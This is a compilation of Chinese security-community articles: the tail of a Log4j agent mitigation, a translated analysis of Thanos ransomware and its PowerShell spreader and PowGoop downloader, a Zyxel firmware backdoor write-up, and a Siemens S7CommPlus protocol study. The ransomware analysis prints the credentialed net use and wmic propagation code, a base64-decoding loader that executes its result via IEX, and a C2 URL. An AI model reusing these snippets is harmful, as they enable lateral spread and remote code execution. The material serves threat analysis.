另外一种加载方式是使用bytebuddy库进行加载，该库对tools.jar 进行了封装，可以直接调用进行加载:
ByteBuddyAgent.attach(jarFile, pid);
成功加载后，运行截图如下，可以看到 agent 成功加载，并且 lookup 函数未被调用，完成修复：
未加载 agent 时：
加载 agent 后，拦截漏洞成功：
## 4、参考
1、<https://research.nccgroup.com/2021/12/12/log4j-jndi-be-gone-a-simple-mitigation-for-cve-2021-44228/>
2、<https://www.jianshu.com/p/fe1448bf7d31>
3、<https://segmentfault.com/a/1190000016601560>
4、<https://stackoverflow.com/questions/55029961/bytebuddy-attach-to-a-local-running-process> | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://unit42.paloaltonetworks.com/thanos-ransomware/>**
## 摘要
在2020年7月6日和7月9日，我们观察到与对中东和北非的两个国有组织的攻击有关的文件，这些组织最终安装并运行了Thanos勒索软件的变体。Thanos变体创建了一个文本文件，该文件显示赎金消息，要求受害者将“
20,000 $”转入指定的比特币钱包以恢复系统上的文件。我们无法了解这些攻击的总体影响，也无法了解攻击者是否成功从受害者那里获得了付款。
图1.加密文件后显示的Thanos赎金记录。
勒索软件还被配置为覆盖主引导记录（MBR），主引导记录是加载到系统硬盘上的一个重要组件，计算机需要它来定位和加载操作系统。勒索软件重写MBR以显示与前面提到的文本文件相同的勒索消息，这是一种我们不常看到的技术。我们观察到的最显著的例子涉及2017年的[Petya勒索软件](https://unit42.paloaltonetworks.com/unit42-threat-brief-petya-ransomware/
"Petya勒索软件")。重写MBR是一种比通常更具破坏性的勒索软件方法。即使受害者支付了赎金，他们也必须付出更多的努力来找回他们的档案。幸运的是，在本例中，负责覆盖MBR的代码导致了异常，因为ransom消息包含无效字符，这使得MBR保持完整，并允许系统正确引导。这意味着，即使勒索软件被配置为覆盖MBR，攻击者也无法成功导致感染Thanos勒索软件的计算机无法启动。
图2.如果MBR覆盖成功，则会显示Thanos赎金记录。
Thanos勒索软件最初是由[Recorded Future](https://www.recordedfuture.com/thanos-ransomware-builder/ "Recorded
Future")在2020年2月提出的，当时它在地下论坛上做广告出售。Thanos勒索软件具有一个构建器，该构建器允许参与者使用多种可用设置来自定义样本。Thanos待售的事实表明，攻击者可能使用此勒索软件。但是，我们充满信心地认为，同一攻击者在袭击中东和北非的两个国有组织时使用了Thanos变体。
根据遥测技术，我们于2020年1月13日首次观测到Thanos，此后已观测到130多个独特样本。我们认为攻击者可以事先访问这些组织的网络，因为样本包含凭据，我们相信这些参与者在交付勒索软件之前已从这些组织的网络中的系统中窃取了凭据。
这种特殊的攻击涉及多层PowerShell脚本，内联C＃代码和Shellcode，以便将Thanos加载到内存中并在本地系统上运行。这些层主要基于可在开源框架（例如[Sharp-Suite](https://github.com/FuzzySecurity/Sharp-Suite "Sharp-Suite")和[Donut](https://github.com/TheWover/donut
"Donut")）中免费获得的代码。其中一层涉及自定义PowerShell，该PowerShell负责使用前面提到的被盗凭据将Thanos传播到本地网络上的其他系统。
我们分析了攻击者为中东和北非国营组织建立的这个特定的Thanos样本。我们确定这些组织已将勒索软件加载到内存中并在内存中运行。我们发现Thanos变体在功能上与[Fortinet](https://www.fortinet.com/blog/threat-research/analysis-of-net-thanos-ransomware-supporting-safeboot-with-networking-mode
"Fortinet")在2020年7月讨论的变体非常相似。Fortinet分析的样本还包含启用的网络传播功能，其中包括来自与我们所观察到的中东国营组织位于同一直辖市的另一个国营组织的网络凭证。Fortinet分析的样本包括我们观察到的相同的比特币钱包和联系电子邮件。当与在相同时间范围内以同一城市中的组织作为目标的目标相结合时，这表明这些攻击背后的共同行动者。
Palo Alto
Networks的客户免受[Wildfire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire "Wildfire")和Cortex XDR的保护，这些攻击由WildFire和Cortex
XDR保护，WildFire正确地将所有相关样本识别为恶意样本，[Cortex
XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr "Cortex
XDR")阻止了与勒索软件感染有关的组件。
## Thanos变体活动概述
我们不知道这些参与者是如何将Thanos勒索软件交付给中东和北非的两个国有组织的。但是，我们知道，使用这些工具背后的威胁组织先前已经访问了这些网络，因为它们已经从网络中获取了有效的凭据。在这两个组织中都使用了完全相同的Thanos样本，这表明同一演员使用Thanos构建器创建了样本。
为这些网络创建的Thanos示例在.NET
Thanos勒索软件在系统上运行之前执行几层，特别是使用来自多个开源框架的代码。这些层从一个PowerShell脚本开始，该脚本不仅将另一个PowerShell脚本作为子层加载，而且还尝试使用以前被盗的凭据将勒索软件传播到网络上的其他系统。第二层中的PowerShell只做内联加载嵌入式C＃代码，因此初始PowerShell脚本可以执行它。C＃代码是第三层，它基于[UrbanBishop](https://github.com/FuzzySecurity/Sharp-Suite/blob/master/UrbanBishop/BerlinDefence.cs
"UrbanBishop")，可作为GitHub上[Sharp-Suite](https://github.com/FuzzySecurity/Sharp-Suite "Sharp-Suite")框架的一部分公开获得。UrbanBishop代码负责将shellcode写入远程进程并执行它，其中shellcode是运行Thanos勒索软件之前的最后一层。在这种情况下，shellcode是由Donut创建的，Donut是另一个开源框架，它将生成可以在内存中加载和执行.NET程序集的shellcode。
图3.为在系统上运行Thanos勒索软件而执行的层。
## PowerShell传播器
PowerShell扩展器（我们称为LogicalDuckBill）具有两个主要用途：
* 1.加载并运行Thanos勒索软件。
* 2.通过将自身复制到远程系统并在远程系统上执行，将其传播到其他系统。
LogicalDuckBill中的加载程序功能以base64编码的PowerShell脚本开始，它将使用IEX命令解码并运行。解码并执行的PowerShell包含以下代码，该代码有效地加载基于UrbanBishop的C＃代码，随后LogicalDuckBill将调用该代码以注入Shellcode：
$ code = @”
[基于UrbanBishop的C＃代码]
“ @
Add-Type -TypeDefinition $ code -Language CSharp
然后，LogicalDuckBill将在运行之前检查“c：\”驱动器中是否存在名为“logdb.txt”或“logdb.txt.locked”的文件，这是散布器用来确保仅运行一个实例的方法每个系统上的嵌入式勒索软件的数量。我们还观察到另一个相关示例，该示例查找“logdbnnn.txt”，这就是为什么我们将此脚本称为LogicalDuckBill。如果这些文件不存在，则LogicalDuckBill将向该文本文件写入“1”，然后继续执行其功能。
然后，LogicalDuckBill创建一个“notepad.exe”进程，然后它将在正在运行的进程中进行迭代以查找已创建的“notepad.exe”进程的进程ID（PID）。使用记事本进程的PID，PowerShell脚本基于UrbanBishop在已加载的C＃代码中调用“Do”方法，最终将Donut框架生成的shellcode注入记事本进程并执行。然后，shellcode解密并将嵌入式.NET可执行文件加载到内存中并执行该程序，这就是Thanos勒索软件有效载荷。
LogicalDuckBill的扩展器功能从使用`Get-NetTCPConnection
cmdlet`的脚本开始，以获取系统上当前TCP连接的远程地址。然后代码看起来通过为那些与启动这些远程地址10，172和192作为第一字节和通过每个发现的网络通过改变从最后一个八位字节将迭代1至254中的循环。对于每次迭代，该脚本将使用`Test-NetConnection cmdlet`来查看该脚本是否可以通过SMB端口`tcp / 445`连接到每个远程系统，如果可以，它使用`net
use`命令以以前的方式连接到远程系统。凭证被盗并安装远程系统的C：驱动器到本地系统的X：驱动器。然后，脚本使用copy命令将自身复制到新映射的X：驱动器，该驱动器将LogicalDuckBill有效地复制到远程系统。然后，脚本将使用wmic在远程系统上运行流程调用create，以在远程系统上运行新复制的LogicalDuckBill示例。扩展功能通过删除映射的驱动器来完成每次迭代，所有这些操作均通过以下代码执行：
if((Test-NetConnection $tr -Port 445).TcpTestSucceeded){
net use x: \\[IP address]\c$ /user:[Victim Domain]\[Username] [Password]
copy c:\windows\update4.ps1 x:\windows\update4.ps1
wmic /node:[IP address] /user:[Victim Domain]\[Username] /password:[Password] process call create “powershell -exec bypass -file c:\windows\update4.ps1”
net use x: /del /y
}
LogicalDuckBill中的这种传播方法与Thanos的C＃代码中的传播方法相似。但是，使用PowerShell脚本来传播允许参与者在创建映射驱动器和使用wmic运行复制的PowerShell脚本时包含以前被盗的网络凭据。
## Thanos勒索软件
Thanos勒索软件是由Recorded
Future在2020年2月首次发现的，当时它在地下论坛上做广告出售。Thanos勒索软件的代码与其他勒索软件变体（例如Hakbit）重叠，并且具有允许用户使用各种可用设置自定义样本的构建器。该勒索软件似乎仍在积极开发中，因为与Recorded
Future分析的原始样本相比，我们观察到了在中东和北非国有企业运行的样本中新增的功能。实际上，运行在这两个组织网络上的Thanos勒索软件在可用功能上更接近于Fortinet在2020年7月讨论的变体。最明显的区别是，这些示例中没有提供Fortinet讨论的禁用安全启动的功能。
与其他Thanos勒索软件示例一样，在这两个组织的网络上运行的变体使用2048位RSA公钥加密文件扩展名与表1中列出的文件扩展名匹配的文件。加密文件内容后，Thanos会将文件扩展名“.locked”添加到磁盘上的文件中。
表1. Thanos将加密的文件扩展名列表。
Thanos的这种变体将赎金记录写入名为“HOW_TO_DECYPHER_FILES.txt”的文件到桌面以及包含Thanos加密的文件的所有文件夹中。如图2所示，赎金记录要求将价值“
20,000美元”的比特币转移到钱包“1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9”和联系电子邮件“josephnull@secmail.pro”，以恢复加密文件。Fortinet博客和几条推文中显示的.HTA赎金说明显示，其他研究人员和组织在2020年7月看到了联系电子邮件和比特币钱包ID
。
Thanos勒索软件中的功能已被其他组织进行了分析。除了重新散布该分析之外，我们将仅讨论在此Thanos变体中启用的功能，而以前没有讨论过。但是，我们分别在表2和3中描述了在Thanos的此变体中禁用和启用的先前讨论的功能。
表2.禁用的功能，可能是Thanos勒索软件构建器用户界面（UI）上的未选中框。
表3.启用的功能，可能是Thanos勒索软件构建器UI上的复选框。
启用的第一个配置选项与先前的Thanos变体的分析不匹配，首先是代码尝试禁用用户帐户控制（UAC），方法是将`SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System`中的键“LocalAccountTokenFilterPolicy”和“EnableLinkedConnections”设置为1。然后，它尝试枚举本地和映射的存储卷。与omlocker用于枚举卷的本地脚本几乎完全相同。Ragnar
Locker使用此脚本创建一个VirtualBox配置文件，该文件将这些卷设置为SharedFolders，从而允许Ragnar
Locker在VirtualBox虚拟机中运行时访问本地存储卷，正如[Sophos](https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
"Sophos")所讨论的那样。Thanos实现不会将结果写入VirtualBox配置文件。相反，它只是将配置打印到屏幕上，但不保存输出。因此，我们无法确定此功能的用途。
此示例中启用的第二个功能在以前的Thanos变体中没有观察到，它涉及覆盖主引导记录（MBR）的能力。一旦代码检查操作系统版本不是“Windows
10”而是“Windows
8”，代码将尝试打开“\\.\PhysicalDrive0”并写入512字节字符串以偏移0。写入“\\.\PhysicalDrive0”偏移量0的字节数组最初有一条勒索消息：“您的文件已加密”。联系我们：get-my-data@protonmail.com“…”，但在写入磁盘之前，代码将用以下字符串替换此字符串：
Don\xe2\x80\x99t worry, you can return all your files!\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact: josephnull@secmail.pro\r\n
在此特定示例中覆盖MBR的有趣之处在于它无法正常工作，这可以归因于编程错误或参与者包括的自定义消息。如上所示，自定义消息中的撇号字符的字节为“\xe2\x80\x99”，但代码尝试使用转换.ToByte函数替换初始赎金字符串中的单个字节。但是，Unicode单引号字符是三个字节长，并导致异常，该异常打破了MBR覆盖功能。我们确认，更改此单个字符后，MBR覆盖功能将起作用，从而导致显示以下内容，而不是Windows正常启动：
在Thanos示例中，第三个先前未提及的功能涉及创建监视新连接的存储卷的线程。该代码使用管理事件监视程序，当使用以下WMI查询连接新的存储卷时，该事件监视程序将调用函数：
SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2
当事件监视程序检测到新连接的存储卷时，它将创建一个线程，该线程执行Thanos用来加密原始存储卷上的文件的文件加密功能。
此版本的Thanos中添加的最后一个功能是能够检测并杀死更多分析工具以逃避检测和分析的能力。该示例将枚举正在运行的进程，并杀死名称与以下内容匹配的进程：
表4.此Thanos变体将检测并杀死以逃避检测的工具列表。
## 可能相关的下载器：PowGoop简介
虽然我们无法确认这一联系，但我们相信，在中东国营组织部署塔诺斯勒索软件的人也使用了一个我们称之为PowGoop的下载程序。参与者将使用PowGoop下载器联系远程服务器，下载并执行其他PowerShell脚本。这些文件与前面讨论的LogicalDuckBill示例存在于同一个环境中，但是我们没有观察到具体运行PowGoop和LogicalDuckBill扩展器的参与者。而且，正如预期的那样，这个下载器中的PowerShell代码和LogicalDuckBill之间几乎没有代码重叠，因为它们的功能差别很大。唯一的代码重叠是一个公共变量名$a，这两个脚本在解码之前都用来存储base64编码的数据，这不是一个足够强的连接，不足以建议一个共同的作者。
PowGoop下载程序有两个组件：DLL加载程序和基于PowerShell的下载程序。PowGoop加载器组件负责解密和运行包含PowGoop下载器的PowerShell代码。与LogicalDuckBill位于同一环境中的PowGoop加载程序DLL的文件名为谷歌更新.dll这很可能是由合法的和签名的googleupdate可执行文件附带的。旁加载过程将从合法的谷歌更新.exe文件正在加载名为goupdate86.DLL的合法DLL。当goopdate86.dll库加载谷歌更新.dll文件，它有效地运行PowGoop加载程序。我们观察到以下可能相关的文件：
表5.与PowGoop下载器的侧面加载相关的文件列表。
goopdate.dll文件是PowGoop加载程序，其功能存在于名为DllRegisterServer的导出函数中。goopdate.dll文件的DllEntryPoint函数（如果通过上述侧面加载过程加载了该函数，则将被调用），无非就是尝试使用以下命令来运行DllRegisterServer导出的函数：`rundll32.exe
<module filename>,DllRegisterServer`
DllRegisterServer中的功能代码读取名为config.dat的文件，对其进行解码并将其作为PowerShell脚本运行，该脚本是PowGoop下载器组件。为了解码config.dat文件，DLL使用CreateProcessA函数构建并执行PowerShell脚本。由PowGoop加载程序构建的PowerShell脚本将读取config.dat文件的内容，使用简单的两个减法运算法则对base64内容进行解码和解密，并使用IEX命令运行结果PowGoop下载程序脚本，如下所示：
powershell -exec bypass function bdec($in){$out = [System.Convert]::FromBase64String($in);return [System.Text.Encoding]::UTF8.GetString($out);}function bDec2($szinput){$in = [System.Text.Encoding]::UTF8.GetBytes($szinput);for ($i=0; $i -le $in.count -1; $i++){$in[$i] = $in[$i] – 2;}return [System.Text.Encoding]::UTF8.GetString($in);}function bDd($in){$dec = bdec $in;$temp = bDec2 $dec;return $temp;}$a=get-content C:\\Users\\[username]\\Desktop
config.dat;$t =bDd $a;iex($t);
我们解密的config.dat文件是PowGoop下载器，参与者将其配置为使用以下URL作为其命令和控件（C2）：`http://107.174.241[.]175:80/index.php`
PowGoop下载器将通过对此URL的HTTP
GET请求与C2服务器通信。它期望C2服务器用base64编码的数据响应请求，脚本将对这些数据进行解码，并使用System.IO.压缩.GzipStream，然后使用用于解密配置数据文件。它将首先与指挥控制系统通信，以获得指挥与控制系统将分配给受损系统的唯一标识符值。在获得此标识符后，脚本将继续与C2通信以获取任务，该脚本将解码、解压缩、解密并作为PowerShell脚本运行。该脚本通过使用add-by-two密码对结果进行加密、压缩密文并对其进行base64编码，并使用GET请求将其发送到C2服务器，其中包含HTTP请求的Cookie字段中的数据，特别是R值。
## 结论
Actors使用Thanos勒索软件对文件进行加密，并使用PowerShell脚本将其传播到其他系统，特别是在中东和北非两个国有组织的网络上。Thanos变体创建了一个文本文件，该文件显示赎金消息，要求受害者将“20,000
$”转入指定的比特币钱包以恢复系统上的文件。
尽管Thanos勒索软件不是新的，但由于这些攻击中使用的变体包含新功能，因此它仍处于积极开发中。新功能包括检测和逃避更多分析工具的能力，通过Ragnar
Locker勒索软件使用的技术对本地存储卷进行枚举以及监视新连接的存储设备的新功能。
最重要的是，Thanos的这种变体还包括覆盖MBR并显示相同赎金消息的新功能。覆盖MBR是一种比Thanos以前使用的破坏性更大的勒索软件，即使受害者支付了赎金，受害者也需要付出更多的努力才能恢复其文件。
通过以下方式，Palo Alto Networks客户可以免受此博客中讨论的攻击的侵害：
* 所有已知的Thanos勒索软件和LogicalDuckBill样本在[WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire "WildFire")中都有恶意判定。
* AutoFocus客户可以使用标签[Thanos](https://login.paloaltonetworks.com/?resume=/idp/PoIdl/resumeSAML20/idp/startSSO.ping&spentity=CanarySp "Thanos")，[LogicalDuckBill](https://autofocus.paloaltonetworks.com/#/tag/Unit42.LogicalDuckBill "LogicalDuckBill")和[PowGoop](https://login.paloaltonetworks.com/?resume=/idp/njEtr/resumeSAML20/idp/startSSO.ping&spentity=CanarySp "PowGoop")跟踪此勒索软件，PowerShell传播脚本以及可能相关的下载器。
* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr "Cortex XDR")阻止了Thanos勒索软件，LogicalDuckBill和PowGoop。
* * * | 社区文章 |
**作者：km1ng@极光无限维阵漏洞团队
原文链接：<https://mp.weixin.qq.com/s/Ol3B3PFLLXLFF8ThA9nxEg> **
## 一、简介
荷兰网络安全公司Eye
Control的安全研究人员发现，超过10万个合勤科技（Zyxel）公司的防火墙、接入点控制器和VPN网关产品中存在管理员级后门账户。这些在二进制代码中硬编码的管理员级别账户使攻击者可通过Web管理面板或SSH界面获得对设备的root访问权限。合勤科技（Zyxel）是一家位于中国台湾新竹的网络设备制造商。
Zyxel固件中发现的后门漏洞cve编号为cve-2020-29583等分为7.8 CVSS
## 二、影响范围
cve官网上表示USG设备4.60，真实影响范围如下：
zyxel:ap_controller_nxc_2500: _zyxel:ap_controller_nxc_5500:_
zyxel:atp_firmware: 4.60 zyxel:usg_firmware: 4.60 zyxel:usg_flex_firmware:
4.60 zyxel:vpn_firmware: 4.60
## 三、固件后门分析
### 3.1、固件下载
下载链接：<https://portal.myzyxel.com/my/firmwares>
需要注册账户登录，选择USG40固件，4.60版本下载。如下图所示
下载后固件是一个名为firmware.zip的压缩包，将这个压缩包放入ubuntu虚拟机下。
### 3.2、固件解压
使用unzip firmware.zip解压压缩包，可以看到解压出如下文件。
其中的460ABUH1C0.bin就是需要解压的固件。直接使用binwalk -e 解压,会发现解压的全部文件里面内容是空的。
使用file命令查看这个bin文件，发现他是一个zip压缩包文件。将这个bin文件移动到windows下使用7-zip查看目录文件结构。
我们是可以得到一些固件中的信息的，如文件大小等。解压firmware.zip的不只解压出来bin文件，还有其他的一些conf、pdf文件。使用7z工具打开bin文件在里面寻找.conf、pdf后缀文件，第一个就发现了大小为30181的文件，ubuntu下查看解压出来的460ABUH1C0.conf也是30181的大小，现在猜测这两个文件是相同的。
### 3.3、固件解密
使用pkcrack包进行解密，解密方式为明文攻击，这里不对明文攻击进行详细阐述。pkcrack包在附件给出，解压后进入src目录，直接make即可。
将zyxel.sh脚本和460ABUH1C0.bin放在同一级目录，命令：
sudo ./zyxel.sh 460ABUH1C0
可以将固件解压出来，解密过程大概会在20秒左右，zyxel.sh也会在附件中给出。
解压完成后，发现当前目录下有cracked.zip压缩包，直接解压即可得到460ABUH1C0.bin中的内容，可以看到里面有compress.img文件这个才是我们最终需要解压的固件，直接使用binwalk
-e指令即可。
可以使用file指令查看一下这个文件，会发现Squashfs filesystem。
### 3.4、搜索后门
因为已爆出了后门账户的账号和密码，这里直接使用grep指令搜索，grep -rn "PrOw\\!aN_fX"
搜索的密码时候，其中“！”是需要进行转义并不是密码里有“\”字符。 打开匹配到的usr/local/bin/capwap/capwap_srv二进制文件。
将这个文件取出，放入ida中分析。
## 四、维阵固件分析
上诉这种情况大概率就是一个后门账户了，现在是已知账号密码可以使用搜索指令确定位置，如何在未知固件中快速发现这种后门账户。
出现上诉类似情况大概率是一个后门账户，据有很高的分析价值。现在是已知账号密码可以使用搜索指令确定其位置。在一个未知固件中找到漏洞、定位漏洞的具体位置是一个费时费力的工程。维阵平台，可以自动化的分析出容易出现问题的位置，将感兴趣的文件列举出来如一些账号密码文件，固件的目录结构、组件、判断程序是否开启保护机制等。
进入compress.img解压出来的_compress.img.extracted目录，使用7z压缩squashfs-root为一个zip包取出，上传到维阵平台。
维阵是实时分析上传的，分析完成前就可以先看到部分结果。
点击敏感账号，进入敏感信息页面。
点击工具选项，可以看到有ftp。
去解压后的固件中，查找这个路径。
在附近查看，直接就可以发现感兴趣的passwd.basic
和shadow.basic。打开这两个文件可以发现一些账户和配置信息。根据前面的内容下载解密老版本的固件解压，对比文件是否有差异。
zyfwp是否真的被更换了吗？全局搜索这个字符串，会发现它在squashfs-root/usr/local/bin/capwap/capwap_srv二进制文件里面，这个时候已经可以打开ida进行分析，这种情况下一般都是会有所收获的。
打开维阵平台的漏洞分析模块，使用AI和系统共同自动化检测哪里可能存在漏洞，可以看到已经自动化分析出来不少有可能产生漏洞的文件和地址，有助于快速定位挖掘漏洞。
## 五、验证登录
搜索NXC2500，NXC系列是目前暂未修复的版本。
ftp登录
发现直接使用zyfwp账号密码就可以匿名登录
## 六、视频演示
相关视频请转至原文观看：<https://mp.weixin.qq.com/s/Ol3B3PFLLXLFF8ThA9nxEg>
* * * | 社区文章 |
# S7CommPlus协议研究
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、概述
最近入手了一个新版本西门子S7-1200PLC，固件版本为V4.2.3，通信协议为S7comm-Plus，已经全面支持通信过程的认证和数据加密。其实，早在2016年4月PLC蠕虫被提出之后，V4.0及其之后的固件版本已全面启用S7comm-Plus协议，安全性有较大的提升，简单粗暴的重放攻击再也不那么凑效了。2019年8月的blackhat大会上，以色列研究人员成功开发出模拟TIA
Portal的伪工作站，可成功与新版本的西门子PLC（S7-1200、S7-1500）进行交互，并进行启/停、逻辑篡改等各种操作，这似乎意味着PLC蠕虫在高版本的PLC中同样可以实现。
要实现对新版本PLC的攻击，研究S7comm-Plus协议、理解整个通信握手、认证加密过程是必经之路，国内绿盟、启明已通过对核心通信DLL文件进行逆向分析，实现了对PLC的启/停攻击。通过对blackhat2017、2019的相关论文的研读，发现要理解整个过程还得有点密码学的基础，通过多次试验及对论文的理解，对S7comm-Plus协议有了一些个人理解，形成本文章以供交流学习，不足之处望指正以促共同进步。
## 2、环境配置
整个试验研究的基本环境配置如下：Win7x64虚拟机、
PLC：S7-1200, 6ES7 212-1BE40-0X0B
Firmware: V4.2.3
Software：TIA Portal V14
S7Comm-Plus Wireshark dissector plugin: V0.0.8
文章中将协议分为了P2-、P2、P3等三个版本，不同版本的TIA Portal软件与不同PLC组合，通信使用了不同的协议版本：
按照此种分类方法，我的研究环境中使用的是P2-版本协议，但是通信数据中很明显是P3版本的协议：
经与作者、西门子求证，新版本的S7-1200PLC均使用了P3版本协议。另外，配置了TIA Portal
V13、V14、V14SP1、V15等4个版本进行了比较，得出以下基本结论：1、固件版本为V4.2及其以上的S7-1200PLC，必须使用V14及其以上的TIA
Portal进行配置（V13只支持到V4.1版本固件）；2、V13同时支持32位和64位操作系统，V14及其以上只支持64位系统了；3、V14不Win10系统；4、V14、V14SP1版本的核心通信DLL（OMSp_core_managed.dll）版本相同，V15的版本已更新，V13、V14、V15三个版本的TIA
Portal对应的此DLL详细信息如下：
因此，可根据目标PLC固件版本选择合适的TIA版本进行安装。
## 3、通信过程分析
### 3.1、握手过程
S7Comm-plus协议的TCP/IP实现依赖于面向块的ISO传输服务，其OSI模型如下：
继承了上一个版本中引入“session
id”来防重放攻击，新版本的协议中更是引入了密钥保护、数据加密的机制，且对每一个带有操作功能的数据包均实行加密，由此更加有效应对重放攻击、中间人攻击、会话劫持等攻击。上位机（TIA）与PLC通信交互的基本过程如下图所示：
1、Handshake initiation: 通信握手初始化，即CR/CC数据包部分；
2、Challenge: TIA与PLC建立S7Comm-Plus Connection，PLC端生成20个字节随机数，反馈给TIA端；
3、StructSecurityKey: TIA与PLC建立S7Comm-Plus
Connection，TIA端根据随机数（Challenge）并结合公钥，生成认证数据；
4、ACK：TIA与PLC建立S7Comm-Plus
Connection，PLC端使用私钥对认证数据（StructSecurityKey）进行解密，认证成功后，回复TIA端OK,通信建立成功；
5、Function：TIA端向PLC发送带有功能操作的数据（如PLC启/停）；
以上每一个步骤的数据交互中，均带有相同的“session id”，对通信过程进行抓包，具体数据如下所示：
对通信建立过程（即S7Comm-Plus connection）中的认证过程进一步分析：
1、TIA向PLC发送M1开启会话，使用了“CreateObject”功能码创建了“ClassServerSession”的对象：
2、PLC响应TIA的请求，回复M2，M2包含 PLC固件版本和20个字节的随机数ServerSessionChallenge，同时包含了session
id：
3、TIA收到M2后，根据随机数（20个字节的随机数，在实际计算的过程中只选取了中间的16个字节，首位各2个未参与实际计算）并结合公钥，使用了复杂的加密算法（包括基本的异或XOR，Hash如SHA-256，MACs如HMAC-SHA-256、CBC-MAC，AES-CTR mode, AES-ECB
mode、ECC）生成认证数据，响应PLC并回复M3，认证数据中需要关注的重点部分为“StructSecurityKey”的结构，该结构中长度为180字节的“SecurityKeyEncryptedKey”又为重中之重字段：
4、PLC收到M3后，使用私钥对加密数据进行解密、认证，认证成功则向TIA回复M4数据包（上图中长度为86的数据包）。
5、认证成功之后，TIA向PLC发送带有功能操作的数据包，TIA使用私有算法（使用了会话密钥）对数据包内容计算得到32个字节的IntergrityPart字段，PLC收到功能码数据包后，首先校验IntergrityPart字段，验证通过则执行相应功能码动作。
### 3.2、加密字段
从基本通信过程可以看出，M3数据包中的加密字段生成是与PLC成功建立通信的关键，随后计算IntergrityPart部分是成功操纵PLC的关键。数据加密的过程是一个复杂的密码学算法实践过程，从上图中可以看出，Wireshark插件已经对数据中的大部分字段进行了正确解释，但是少数字段，如“StructSecurityKey”中的“SecurityKeyEncryptedKey”字段未被完全识别，在此结合文章和实际数据包，对180字节的“SecurityKeyEncryptedKey”中的进行具体识别。
Wireshark识别的结构和文章中对该字段的分解如下图所示：
对实际数据进行进一步分解与对应：
0000ad de e1 feb4 00 00 00 01 00 00 00 01 00 00 00
0010d1 58 ff a4 13 13 c0 7b 01 01 00 00 00 00 00 00
00201a 73 08 1f 09 6b 42 bd 10 01 00 00 00 00 00 00
0030a7 c0 65 16 c5 af f4 ff c6 b8 cb 5d b3 35 3d 44
00404d 48 3b 5da5 48 81 cc 82 85 fd 1a f5 5d 3e 3c
005086 c5 6f ae 5d 59 cb bee6 c9 99 fa 39 f6 3d ac
00603a 12 a5 4d 93 b1 f3 8d c7 46 7a f973 86 90 c0
0070fd 56 f2 ea 4f 7d 7b d7 1d 67 f0 1aa9 9b 46 89
008030 5b d1 bf e8 7e c5 b2 96 5e 55 cd72 4a 96 cc
0090e1 5a 1a 0e 9d 79 12 4f a4 46 f9 0e 4b d7 05 a7
00a0cc 4a a4 3f61 0c c3 b5 d5 bd dd 70 b2 be f0 be
00b0e2 a9 93 ca
Magic byte:0xFEE1DEAD为magic，4个字节为固定不变，且为小端模式；
Length:字段的长度，即为180；
Symmetric key checksum:8个字节，即文章中提到的KDK ID Header；
Public key checksum:8个字节，即文章中提到的Public key ID Header；
此8个字节，对于所有相同型号和固件的S7-1200PLC计算出的结果均相同，因为西门子对同类同型号的PLC使用了相的Public
key，而此处的checksum即是Public key计算SHA-256并取前8个字节。在实验中，通过动态调试可以获取S7-1200PLC的Public
key如下图内容所示的40个字节：
文章中亦指明了PLC的Public key信息存储于TIA的安装目录：Siemens/Automation/Portal
V14/Data/Hwcn/Custom/Keys) ，但其文件为加密方式存放。
EG1:20个字节；
EG2:20个字节；
通信过程中，TIA随机生成20字节作为PreKey，使用类椭圆曲线加密算法和PLC的Public key加密PreKey，等到内容即为EG1和EG2的内容；
Kxv3:20个字节，此处的内容未被完全理解，即文章中标注的Nonce;
IV:16个字节，AES Counter模式加密的初始数据；
Encrypted Challenge:16个字节，此内容为使用AES-CTR
mode对M2中的20个字节随机数中的16个字节，连同IV部分进行加密的结果，即：AES-CTR（Challenge,KEK,IV）
Encrypted KDK：24个字节，使用AES-CTR（Challenge,KDK,IV）计算得到；
Encrypted Checksum: 16个字节，使用AES-ECB（Checksum,ECK），其中，Checksum=TB-HASH（CS,Encrypted KDK,Encrypted Challenge）
对各个加密数据字段进行一一对应和识别之后，回过头再来看整个密钥生成算法和交换过程，思路慢慢变得清晰稍许：
梳理一下整个过程中的关键点：
1、识别输入数据：最明显的输入数据是PLC Public
key，这个是可以直接获取的，另外是PreKey,PreKey为TIA随机生成的20个字节随机数，可在动态调试中从内存中抓取；Challenge，可从M2数据中获取；
2、各种复杂的密码算法：关于其中的类椭圆曲线加密算法，使用了一个固定的40个字节key,代表了160位的椭圆曲线点，椭圆曲线的基点G硬编码于OMSp_core_managed.dll文件中，动态调试过程中亦可从内存抓取，S7-1500和S7-1200的分别G如下所示：
## 4、总结
基于对西门子最新的S7Comm-Plus通信协议的初步分析，整个过程使用了非常复杂的认证加密手段，想要破解和绕过并非一件简单的事情。但是，由于通信过程中认证是单方面的，即TIA对PLC进行了认证，而PLC未对TIA进行认证，因此可以伪造TIA与PLC建立通信；另外，相类型、固件版本的PLC使用了相同的private-public密钥对，则意味着完成对一个S7-1200的成功攻击，即实现了对所有S7-1200的攻击。
虽然通信过程中的认证加密异常复杂，文章中已经实现了对新版本S7-1500PLC的攻击，攻击思路总结如下：
1、通过动态调试抓取加密认证所需要的输入数据，如TIA产生的随机数和M2返回的Challenge；
2、定位到相应的加密函数；
3、使用加密函数对输入数据进行计算，得到正确的数据包字段，对字段进行组合成完整数据包发往PLC校验。（此处有两种思路：①
文章中指出使用Python的Ctypes模块包裹核心通信DLL：OMSp_core_managed.dll，构造正确的输入参数，实现整个加密认证过程； ②
对加密过程进行动态调试，厘清加密认证过程，定位相关功能函数，同时配合逆向分析将功能函数抠取，构造函数的输入参数，完成整个加密认证过程。）
参考资料：
[1] https://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs-wp.pdf
[2] https://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs.pdf | 社区文章 |
